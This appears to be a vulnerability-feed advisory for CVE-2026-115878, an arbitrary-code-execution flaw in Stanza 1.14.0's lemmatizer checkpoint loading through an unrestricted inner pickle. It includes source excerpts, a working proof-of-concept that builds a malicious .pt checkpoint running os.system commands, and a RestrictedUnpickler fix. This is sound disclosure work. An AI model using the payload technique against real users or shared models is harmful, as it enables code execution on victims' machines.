Live › vulnerability › CVE-2026-115878
Stanza's lemmatizer stores part-of-speech data as a gzip-compressed pickle inside the model checkpoint, and the loader unpickles it without restriction. A crafted lemma .pt file can therefore run arbitrary commands as the user who loads it, at pipeline construction time.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 20:33 UTC, 1h before NVD. All times on this page are UTC.
Teams whose code builds a stanza.Pipeline with a lemma_model_path, or loads a lemma checkpoint through a custom registry, where the file comes from an untrusted or shared source. Default-registry downloads are checksum-verified, but caller-supplied paths are not. Pipelines that only use the default models from the official registry are less exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| stanza | pypi | = 1.14.0 | 1.15.0 |
pip show stanza and check whether the version is 1.14.0.lemma_model_path in pipeline code, configs or registries that loads checkpoints from untrusted or shared sources.stanza fixed in 1.15.0 (affected 1.14.0).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.
This page as .md · .json · in your agent: get_signal("CVE-2026-115878")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.